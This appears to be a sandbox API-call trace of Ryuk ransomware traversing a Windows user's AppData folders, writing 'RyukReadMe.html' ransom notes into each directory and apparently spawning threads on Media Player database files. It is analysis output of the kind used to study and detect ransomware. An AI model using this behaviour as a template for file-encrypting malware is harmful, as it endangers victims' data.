	[0250.833] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
	[0250.833] SetLastError (dwErrCode=0x0) 
	[0250.833] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x584
	[0250.833] GetLastError () returned 0xb7
	[0250.833] CloseHandle (hObject=0x584) returned 1
	[0250.833] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0251.213] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0251.213] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0251.213] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0251.213] SetLastError (dwErrCode=0x0) 
	[0251.213] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.213] GetLastError () returned 0x3
	[0251.213] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0251.213] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.213] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
	[0251.213] SetLastError (dwErrCode=0x0) 
	[0251.213] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x584
	[0251.214] GetLastError () returned 0xb7
	[0251.214] CloseHandle (hObject=0x584) returned 1
	[0251.214] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0251.456] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0251.456] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0251.456] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0251.456] SetLastError (dwErrCode=0x0) 
	[0251.457] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp8_1\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.457] GetLastError () returned 0x3
	[0251.457] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0251.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.457] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
	[0251.457] SetLastError (dwErrCode=0x0) 
	[0251.457] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0251.457] GetLastError () returned 0xb7
	[0251.457] CloseHandle (hObject=0x5b8) returned 1
	[0251.458] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0251.458] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0251.458] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0251.458] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0251.459] SetLastError (dwErrCode=0x0) 
	[0251.459] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp9_0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.459] GetLastError () returned 0x3
	[0251.459] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0251.459] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.459] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0251.459] SetLastError (dwErrCode=0x0) 
	[0251.459] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0251.459] GetLastError () returned 0xb7
	[0251.459] CloseHandle (hObject=0x5b8) returned 1
	[0251.460] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x200, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0251.460] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0251.460] SetLastError (dwErrCode=0x0) 
	[0251.460] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.460] GetLastError () returned 0x3
	[0251.460] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0251.460] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.460] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0251.460] SetLastError (dwErrCode=0x0) 
	[0251.460] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0251.460] GetLastError () returned 0xb7
	[0251.460] CloseHandle (hObject=0x5b8) returned 1
	[0251.460] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0251.468] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0251.468] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf59b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x200, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1
	[0251.468] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0251.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580
	[0251.470] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.470] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cf33a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf33a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1106c, dwReserved0=0x200, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1
	[0251.470] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0251.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8
	[0251.472] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.473] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
	[0251.473] SetLastError (dwErrCode=0x0) 
	[0251.473] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.473] GetLastError () returned 0x3
	[0251.473] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.473] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.473] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0251.473] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0251.473] SetLastError (dwErrCode=0x0) 
	[0251.473] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.473] GetLastError () returned 0x3
	[0251.474] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.474] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.474] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1
	[0251.474] SetLastError (dwErrCode=0x0) 
	[0251.474] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.474] GetLastError () returned 0x3
	[0251.474] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.474] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.474] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0251.474] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
